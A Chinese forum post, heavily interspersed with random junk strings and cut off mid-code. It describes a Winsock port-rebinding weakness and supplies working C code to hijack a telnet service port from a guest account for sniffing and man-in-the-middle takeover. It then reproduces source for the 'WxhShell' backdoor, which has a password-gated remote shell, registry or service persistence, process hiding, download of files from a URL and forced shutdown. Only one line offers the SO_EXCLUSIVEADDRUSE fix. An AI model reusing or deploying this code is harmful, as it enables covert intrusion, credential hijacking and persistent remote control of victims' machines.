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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h <4`|Bg+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w,p'$WC*  
F LWVI4*  
  saddr.sin_family = AF_INET; gQPw+0w  
E]mm^i`|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9 -pt}U  
%aNm j)L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o`iA&  
l5T[6C  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fd )v{OC  
f'=u`*(b7  
  这意味着什么?意味着可以进行如下的攻击: WLl8oE< X  
M@xU59$@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 d1cp=RbC  
Y%?S:&GH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `q36`Wn  
p*b_ "aF1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9G/!18 X?f  
|SOLC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }MQ:n8  
Og1-LP|X  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q!c=f!U?\l  
zGtJ@HbB  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @s1T|}AJ  
6M >@DRZ'|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =^KgNQ   
|6 Q5bV  
  #include H{Ewj_L  
  #include a?-&O$UHf\  
  #include 6k t,q0  
  #include    EX8+3>)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ii?T:T@  
  int main() ooVs8T2  
  { 9ngxkOGx  
  WORD wVersionRequested; yJI~{VmU7  
  DWORD ret; 3=d%WPgQ  
  WSADATA wsaData; R;!,(l  
  BOOL val; !mxH/{+|n  
  SOCKADDR_IN saddr; GeP={lj  
  SOCKADDR_IN scaddr; (u&x.J  
  int err; % 6 *c40  
  SOCKET s; S"&Gutu3o  
  SOCKET sc; N (4H}2  
  int caddsize; ~2Wus8X-  
  HANDLE mt; ?h[HC"V/2  
  DWORD tid;   8%K{lg"  
  wVersionRequested = MAKEWORD( 2, 2 ); $U_(e:m}f  
  err = WSAStartup( wVersionRequested, &wsaData ); r-y;"h'  
  if ( err != 0 ) { _Ay^v#a  
  printf("error!WSAStartup failed!\n"); x@OBGKV  
  return -1; rQ.zqr  
  } dL$ iTSfz"  
  saddr.sin_family = AF_INET; ;z4J)qw  
   i%FC lMF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 MDF_Xr-hZ  
tu}!:5xi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xE 8?%N U  
  saddr.sin_port = htons(23); "K(cDVQ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^s{Ff+]W  
  { 0#WN2f, <:  
  printf("error!socket failed!\n"); ?b+Y])SJK  
  return -1; ~P'.R.e  
  } 4gen,^Ij  
  val = TRUE; ^.6yzlY  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {IgH0+z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $eFMn$o  
  { ;M.Q=#;E  
  printf("error!setsockopt failed!\n"); 0OM^,5%8  
  return -1; M=raKb?F  
  } 4  eLZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \#,2#BmO"E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vW &G\L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9E ^!i  
g[(@@TiG  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .aT@'a{F  
  { K;6#v%  
  ret=GetLastError(); q TJ0}F  
  printf("error!bind failed!\n"); M#gxi N  
  return -1; "%Ok3Rvv  
  } ." xP {  
  listen(s,2); {d.z/Buu  
  while(1) r0}x:{$M  
  { A^,E~Z!x  
  caddsize = sizeof(scaddr); jc"sPrv5  
  //接受连接请求 ~LuGfPO^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6=/sEzS'  
  if(sc!=INVALID_SOCKET) SZW_V6\t>  
  { VNTbjn]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v7"VH90`!  
  if(mt==NULL) 56)!&MF  
  { P gA<pfEHE  
  printf("Thread Creat Failed!\n"); 7*PBJt\  
  break; ;y,g%uqE  
  } 3/+kjY/  
  } GY%5N= u  
  CloseHandle(mt); ,,u hEoH  
  } ;8^k=8  
  closesocket(s); s>/Xb2\  
  WSACleanup(); {g.YGO  
  return 0; c0zcR)=mL  
  }   (c[u_~ ;  
  DWORD WINAPI ClientThread(LPVOID lpParam) + Tp% *  
  { lMFo)4&P  
  SOCKET ss = (SOCKET)lpParam; ym|7i9  
  SOCKET sc; L ?/AKg  
  unsigned char buf[4096]; S' $;  
  SOCKADDR_IN saddr; CK[8y&  
  long num; [P+kQBL pL  
  DWORD val; P4#i]7%  
  DWORD ret; @4y?XL(n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,cNe-KJk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NVx>^5QV  
  saddr.sin_family = AF_INET; |J!mM<*K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $sY'=S  
  saddr.sin_port = htons(23); 59zWB,y(P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a=}1`Q  
  { >T]9.`xhK  
  printf("error!socket failed!\n"); DP),~8  
  return -1; #//xOL3J  
  } &9flNoNR9  
  val = 100; P*!`AWn  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JH\:9B+:L  
  { Hl}lxK,]  
  ret = GetLastError(); 2A\b-;4EP  
  return -1; r<ww%2HTS  
  } LL e*| :  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 71@ eJQ  
  { .jD!+wv{9  
  ret = GetLastError(); HX2u{2$  
  return -1; *F%1~  
  } ~ L4NK#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yz K<yvN  
  { %Lh%bqGz  
  printf("error!socket connect failed!\n"); hZ1enej)  
  closesocket(sc); lNxP  
  closesocket(ss); .6`r`|=  
  return -1; /p<9C?  
  } 4m< ]qw  
  while(1) aM $2lR])J  
  { d3q%[[@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %"v:x?d$$o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 D=^&?@k<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yo[Sh6r/9b  
  num = recv(ss,buf,4096,0); _5rKuL  
  if(num>0) c~tl0XU1  
  send(sc,buf,num,0); H/{@eaV  
  else if(num==0) T!,5dt8L  
  break; MJiVFfYW  
  num = recv(sc,buf,4096,0); ntH`\ )xi  
  if(num>0) F2 B(PGa7  
  send(ss,buf,num,0); Cdz?+hb  
  else if(num==0) 0 8)f  
  break; CaZc{  
  } 1|{s8[;8  
  closesocket(ss); ML>M:Ik+  
  closesocket(sc); tF),Sn|*  
  return 0 ; "BT M,CB  
  } RK.lz VaY  
iz=cjmV?  
'/<\X{l8  
========================================================== m+XHFU  
#8h7C8]&  
下边附上一个代码,,WXhSHELL DyqqY$ vH(  
PR"x&JG@  
========================================================== fof}I:vO  
79;uHR&S  
#include "stdafx.h" E "=4(   
 +#,J`fV%  
#include <stdio.h> Z5TA4Q+Q  
#include <string.h> ufk2zL8y  
#include <windows.h> = vqJ0!  
#include <winsock2.h> Lan|(!aW  
#include <winsvc.h> :jv(-RTI  
#include <urlmon.h> FQ 0&{ulb  
QD0x^v8  
#pragma comment (lib, "Ws2_32.lib") r5xm7- `c  
#pragma comment (lib, "urlmon.lib") X`_tm3HC  
/4(HVua  
#define MAX_USER   100 // 最大客户端连接数 D4c'6WGb@  
#define BUF_SOCK   200 // sock buffer f~W+Rt7o  
#define KEY_BUFF   255 // 输入 buffer 9_wDh0b~p  
JL4E`  
#define REBOOT     0   // 重启 C:No ^nH>  
#define SHUTDOWN   1   // 关机 =-Hhm($n  
.I~:j`K6  
#define DEF_PORT   5000 // 监听端口 ?<jWEz=  
s3sRMB2  
#define REG_LEN     16   // 注册表键长度 2z{B  
#define SVC_LEN     80   // NT服务名长度 >bWpj8Kv  
;@S'8  
// 从dll定义API |9XoRGgXU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v_Vw!u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YD[AgToo0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]*=!lfrV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KH)-=IJ8  
kk`K;`[tB  
// wxhshell配置信息 LT$t%V0?.e  
struct WSCFG { 4*Hzys[{  
  int ws_port;         // 监听端口 BDf M4  
  char ws_passstr[REG_LEN]; // 口令 tRI<K  
  int ws_autoins;       // 安装标记, 1=yes 0=no K/B$1+O  
  char ws_regname[REG_LEN]; // 注册表键名 [_%u5sc-y  
  char ws_svcname[REG_LEN]; // 服务名 X~& 8^?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Vj4 h#NN$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G0!6rDu2,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Jf4` 2KN\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DNZ,rL:h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b4wT3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *Zg=cI@)(  
m19\H  
}; B?&0NpVD  
W#!AZ!  
// default Wxhshell configuration d:iJUVpr  
struct WSCFG wscfg={DEF_PORT, w/ ~\NI  
    "xuhuanlingzhe", I`oJOLV  
    1, d1_kw A2y  
    "Wxhshell", MJX4;nbl  
    "Wxhshell", ??aO3Vm{  
            "WxhShell Service", QlvP[Jtr  
    "Wrsky Windows CmdShell Service", I(7 GVYM  
    "Please Input Your Password: ", Pqx?0 f)  
  1, 4z P"h0  
  "http://www.wrsky.com/wxhshell.exe", mf g>69,w  
  "Wxhshell.exe" W*s=No3C  
    }; P !f{U;B  
?,7!kTRH  
// 消息定义模块 Es#:0KH].v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '^m'r+B"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vfn[&WN]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FVkl# Qy~  
char *msg_ws_ext="\n\rExit."; 5uG^`H@X  
char *msg_ws_end="\n\rQuit."; ?@PSD\  
char *msg_ws_boot="\n\rReboot..."; , poc!n//  
char *msg_ws_poff="\n\rShutdown..."; ]#4kqj}  
char *msg_ws_down="\n\rSave to "; q !9;JrX  
Sr Nc  
char *msg_ws_err="\n\rErr!"; yCR8c,'8  
char *msg_ws_ok="\n\rOK!"; VDOC>  
Cxq |N]E  
char ExeFile[MAX_PATH]; p,k1*|j  
int nUser = 0; h1 (i/{}:  
HANDLE handles[MAX_USER]; 1o/(fy  
int OsIsNt; G~C-tAB  
5\zR>Tg".  
SERVICE_STATUS       serviceStatus; HD#>K 7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;39a`  
&8f/6dq  
// 函数声明 h-"q <eY"  
int Install(void); l"[.Q>d  
int Uninstall(void); E4o{Z+C  
int DownloadFile(char *sURL, SOCKET wsh); %6@)fRw  
int Boot(int flag); zjA#8;h~w  
void HideProc(void); pHb,*C</  
int GetOsVer(void); DjaXJ?'  
int Wxhshell(SOCKET wsl); |APOTQV  
void TalkWithClient(void *cs); c nv%J}wq  
int CmdShell(SOCKET sock); ZzBaYoNy[0  
int StartFromService(void); +}at#%1@  
int StartWxhshell(LPSTR lpCmdLine); lIEZ=CEmY  
msCz\8Xd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `D=OEc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^!exH(g  
}~&0<8m  
// 数据结构和表定义 (rJ-S"^u  
SERVICE_TABLE_ENTRY DispatchTable[] = CLZ j=J2  
{ O[$X36z  
{wscfg.ws_svcname, NTServiceMain}, ?glx8@  
{NULL, NULL} N:Q.6_%^  
}; `L$Av9X\  
QZ(O2!Mg  
// 自我安装 ~sn3_6{  
int Install(void) NG3:=  
{ 9$U>St  
  char svExeFile[MAX_PATH]; .<%q9Jy#  
  HKEY key; 7hx^U90K  
  strcpy(svExeFile,ExeFile); F$4=7Njv  
^m D$#  
// 如果是win9x系统,修改注册表设为自启动 FZU1WBNL%t  
if(!OsIsNt) { #O~pf[[L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yn+m,K/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xcl;~"c *  
  RegCloseKey(key); X ]&`"Z]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 82r{V:NCK)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?>ZrdfTwz,  
  RegCloseKey(key); c8]%,26.  
  return 0; 20 $Tky_  
    } ik?IC$*n3i  
  } ^y ', l  
} B!`.,3  
else { 65@GXn[W_  
>Giw\|:f(  
// 如果是NT以上系统,安装为系统服务 [7x;H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xS/=9l/G  
if (schSCManager!=0) 'bZw-t!M@  
{ n::i$ZUdK  
  SC_HANDLE schService = CreateService (W"0c?i|]  
  ( ~7j-OWz9  
  schSCManager, o6 NmDv5  
  wscfg.ws_svcname, @|<nDd{2  
  wscfg.ws_svcdisp, %#4;'\'5  
  SERVICE_ALL_ACCESS, qooTRqc#,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7o+VhW<|5  
  SERVICE_AUTO_START, Z>w@3$\z  
  SERVICE_ERROR_NORMAL, B ( h`~pb  
  svExeFile, _}\KC+n8  
  NULL, ~FI} [6Dd  
  NULL, cuG;1,?b  
  NULL, l0yflFGr  
  NULL, 9\Rk(dd  
  NULL S]T71W<i  
  ); p}GTOJT}  
  if (schService!=0) ;>>:7rdYt  
  { H.n|zGQTB  
  CloseServiceHandle(schService); b; ;y|H  
  CloseServiceHandle(schSCManager);  `m_f i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S=< ]u  
  strcat(svExeFile,wscfg.ws_svcname); 2.j0pg .  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;CL^2{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *2pE39  
  RegCloseKey(key); {hO|{vz  
  return 0; Y8s-cc(  
    } : +^`VLIf  
  } WH $*\IGJL  
  CloseServiceHandle(schSCManager); gQ '=mU  
} ?OO !M  
} YP"%z6N@v  
]Zay9jD}c-  
return 1; {az LtTh  
} Tnf&32 IA  
 wN0?~  
// 自我卸载 ou|3%&*"  
int Uninstall(void) ;SA+| ,  
{ $1Z3yb^  
  HKEY key; '@hnqcqXq  
*"/BD=INv}  
if(!OsIsNt) { 9<!??'@f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y\1&  Uk  
  RegDeleteValue(key,wscfg.ws_regname); r 3T#Nv  
  RegCloseKey(key); {[H#lX 4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :^QV,d<C  
  RegDeleteValue(key,wscfg.ws_regname); 2j>C4Ck  
  RegCloseKey(key); u4=ulgi  
  return 0; ;rCCkA6  
  } .b*-GWx  
} 0B`rTLwB  
} _#P5j#  
else { aC'#H8e|j  
W89J]#v)k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ocp3JR_0  
if (schSCManager!=0) |@>Zc5MY$  
{ r_a1oO:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q6X}R,KA1  
  if (schService!=0) %s%e5hU  
  { eLN(NSPoS  
  if(DeleteService(schService)!=0) { Tkf4`Gxd  
  CloseServiceHandle(schService); a5g1.6hF  
  CloseServiceHandle(schSCManager); 79lG~BGE  
  return 0; c%n%,R>  
  } #0qMYe>Y  
  CloseServiceHandle(schService); vs.}Bou]  
  } {K=[Fu=  
  CloseServiceHandle(schSCManager); {}PBYX R  
} zgpv I~Ck  
} ~]K<V h`  
37,)/8]lG  
return 1; /z,+W9`  
} M^A;tPw  
Q F_K^(  
// 从指定url下载文件 N aiZU  
int DownloadFile(char *sURL, SOCKET wsh) o648 xUP  
{ l>>, ~  
  HRESULT hr; @2$iFZq~  
char seps[]= "/"; ws}>swR,  
char *token; %eqL)pC]  
char *file; z?_5fte`  
char myURL[MAX_PATH]; .Wci@5:3  
char myFILE[MAX_PATH]; p7)b@,  
oakm{I|k}  
strcpy(myURL,sURL); QN m.8c$  
  token=strtok(myURL,seps); \?.M1a[  
  while(token!=NULL) Uefw  
  { obIYC  
    file=token; !}uev  
  token=strtok(NULL,seps); ;,_c1x/F  
  } ?jBh=X\]:  
POUD*(DqNK  
GetCurrentDirectory(MAX_PATH,myFILE); ^Ul *Nm  
strcat(myFILE, "\\"); y {1p#  
strcat(myFILE, file); nxYp9,c"  
  send(wsh,myFILE,strlen(myFILE),0); D8_-Dvp7H  
send(wsh,"...",3,0); [W,maT M"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +4p gPv  
  if(hr==S_OK) Vt," 5c  
return 0; Y{#m=-h  
else nR~L$Wu5_a  
return 1; (hX}O>  
_\xd]~ELj  
} xSHeP`P^X  
'| |),>~  
// 系统电源模块 Z,Tv8;  
int Boot(int flag) # OQ(oyT  
{ YVLaO*( f  
  HANDLE hToken; V0WFh=CM@  
  TOKEN_PRIVILEGES tkp; q^w3n2  
NCysYmt  
  if(OsIsNt) { Ijj]_V{,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (PCv4:`g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5zBsulRt  
    tkp.PrivilegeCount = 1; ~cx/>Hu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  ,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XmoS$ /#"  
if(flag==REBOOT) {  %sLij*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) APksY!  
  return 0; &ExYul  
} !Q5ip'L  
else { d6k`=Hlg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0Sz iTM  
  return 0; G" Fd]'  
} =#<TE~n2(  
  } k/#& ]8(  
  else { =w!14@W  
if(flag==REBOOT) { BqKh&m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C[O \aW  
  return 0; P1 `-OM  
} ='cr@[~i  
else { 4RqOg1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DNaU mz  
  return 0; 7L:$Amb_F  
} ;-d :!*  
} OC]_b36v  
6!n%SUt  
return 1; b1;80P/:D  
} )xQA+$H#4  
[ Q6v#I  
// win9x进程隐藏模块 (HkMubnqg  
void HideProc(void) [Hww3+~+  
{ =kvYE,,g_  
RSY{IY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U:`g12  
  if ( hKernel != NULL ) <zK9J?ZQW>  
  { h&vq}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |f~p3KCfV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #9Z*.  
    FreeLibrary(hKernel); 5xHl6T+  
  } r=+r5k"`  
H{P"$zj`l  
return; &4yI]  
} |vnfY; ;z1  
<c6C+OWT,  
// 获取操作系统版本 k]"Rg2>%  
int GetOsVer(void) ,g$N  
{ Ee##:I[z  
  OSVERSIONINFO winfo; X] /r'Tz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Au,}5=+`P  
  GetVersionEx(&winfo); '@iS5Fni  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~J6c1jG  
  return 1; dt  4_x1  
  else Ss&R!w9p  
  return 0; jv]:`$}G\  
} rK2*DuE  
65Ysg}x  
// 客户端句柄模块 $N=A,S  
int Wxhshell(SOCKET wsl) G~e`O,+  
{ c]W]m`:  
  SOCKET wsh; \+g95|[/  
  struct sockaddr_in client; cV5Lp4wY?  
  DWORD myID; @qH<4`y.^  
c)M_&?J!5  
  while(nUser<MAX_USER) -~ `5kO~  
{ 2Fce| Tn  
  int nSize=sizeof(client); It4J \S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @M"h_Z1#  
  if(wsh==INVALID_SOCKET) return 1; pVw)"\S%  
Q<r O5 -K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b#.hw2?a`  
if(handles[nUser]==0) - iS\3P.  
  closesocket(wsh); u[^(s_  
else ?iUAzM8  
  nUser++; 8KW}XG  
  } W]n%$a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ewk62 {  
H>`?S{J  
  return 0; [Qv%  
} c`y[V6q9  
2ZB'WzH.X  
// 关闭 socket -[x^z5Ee`  
void CloseIt(SOCKET wsh) Z| +/Wl-h  
{ Ne.W-,X^cL  
closesocket(wsh); }yU,_:  
nUser--; _#e='~;  
ExitThread(0); bI=\n)sEz  
} z1F[okLA  
S~ }?6/G.  
// 客户端请求句柄 z$`=7 afp  
void TalkWithClient(void *cs) s&M6DFlA  
{ Q/=L(_1l  
>0i?}  
  SOCKET wsh=(SOCKET)cs; Tfgx>2  
  char pwd[SVC_LEN]; ~y^#?;  
  char cmd[KEY_BUFF]; d"nE+pgE  
char chr[1]; z_< 7T4  
int i,j; %"DEgI P  
6lq7zi}'w  
  while (nUser < MAX_USER) { zie])_8|h  
>OwVNG  
if(wscfg.ws_passstr) { ID5?x8o#k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); * KFsO1j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !/['wv@  
  //ZeroMemory(pwd,KEY_BUFF); W<B8PS$  
      i=0; 3`k 1  
  while(i<SVC_LEN) { ho@f}4jhQ3  
ALwkX"AN  
  // 设置超时 c:51In|~{C  
  fd_set FdRead; GOa](oD}  
  struct timeval TimeOut; ~c :e0}  
  FD_ZERO(&FdRead); F)Yn1&a#H  
  FD_SET(wsh,&FdRead); xK0VWi  
  TimeOut.tv_sec=8; OHqLMBW!!  
  TimeOut.tv_usec=0; FcsEv {#U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mhp5}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <0R7uH  
iH( K[F /  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W UdKj  
  pwd=chr[0]; *6q8kQsz^1  
  if(chr[0]==0xd || chr[0]==0xa) { \y: 0+s/  
  pwd=0; .F?yt5{5No  
  break; Yq#I# 2RD  
  } y^hpmTB3"  
  i++; lVXgp'!#j  
    } HPCgv?E3  
7J,W#Ql)5  
  // 如果是非法用户,关闭 socket M,t8<y4 W/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @"kA&=0;|J  
} i,S%:0c7)  
|VlAt#E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); & .+[~2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M`KrB5a+6  
4G@vO {$  
while(1) { zY\v|l<T  
Q]w;o&eo  
  ZeroMemory(cmd,KEY_BUFF); %g0"Kj5  
HHCsWe-  
      // 自动支持客户端 telnet标准   Fx0K.Q2Y0  
  j=0; eP'e_E  
  while(j<KEY_BUFF) { nPfVZGt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <hdR:k@ #  
  cmd[j]=chr[0]; //e.p6"8h  
  if(chr[0]==0xa || chr[0]==0xd) { )wpBxJ;dB}  
  cmd[j]=0; /+sn -$/"i  
  break;  rc*3k  
  } 7-w +/fv  
  j++; W&z.O  
    } >?b/_O  
:{LVS nG  
  // 下载文件 &.=d,XKN  
  if(strstr(cmd,"http://")) { U-3KuR+0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZGzrh`j{-  
  if(DownloadFile(cmd,wsh)) .pi#Z /v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;#3!ZB:}  
  else U v[:Aj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 23pHB |X  
  } 1b;Aru~l  
  else { e1}h|HL j  
f>waF u-  
    switch(cmd[0]) { {;Mcor3  
  .+ai dWd  
  // 帮助 1 < <`T%&  
  case '?': { C?bPdJ,6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cpFw]w%]  
    break; kdQ=%  
  } E^1uZI\z  
  // 安装 RX=C)q2c  
  case 'i': { {^"c>'R  
    if(Install()) }N2T/U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nrwb6wj  
    else X  LA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W5_t/_EWD  
    break; 4'Vuhqk  
    } Nh]eZ3O  
  // 卸载 a%;$l_wVT:  
  case 'r': { *J8j_-i,R  
    if(Uninstall()) 2y ~]Uo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WsJ3zZc  
    else #R305  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3r+vpyu  
    break; =o{zw+|% %  
    } Z?XE~6aP>  
  // 显示 wxhshell 所在路径 vj[ .`fY  
  case 'p': { $62ospR^Y  
    char svExeFile[MAX_PATH]; V`S6cmwdc\  
    strcpy(svExeFile,"\n\r"); GZXUB0W\@)  
      strcat(svExeFile,ExeFile); l K}('7\  
        send(wsh,svExeFile,strlen(svExeFile),0); L;fhJ~ r  
    break; AJ^9[j}  
    } pL.r 9T.  
  // 重启 S<88>|&n]  
  case 'b': { Nypa,_9}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f*1.Vg0`-  
    if(Boot(REBOOT)) H:,rNaz7D^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jp=^$rS6[  
    else { x?va26FV  
    closesocket(wsh); 2Ev~[Hb.  
    ExitThread(0); lY.FmF}k  
    } mZ7.#R*}  
    break; 9i yNR!  
    } d@7 ]=P:  
  // 关机 WkXa%OZ  
  case 'd': { 2P!Pbl<  
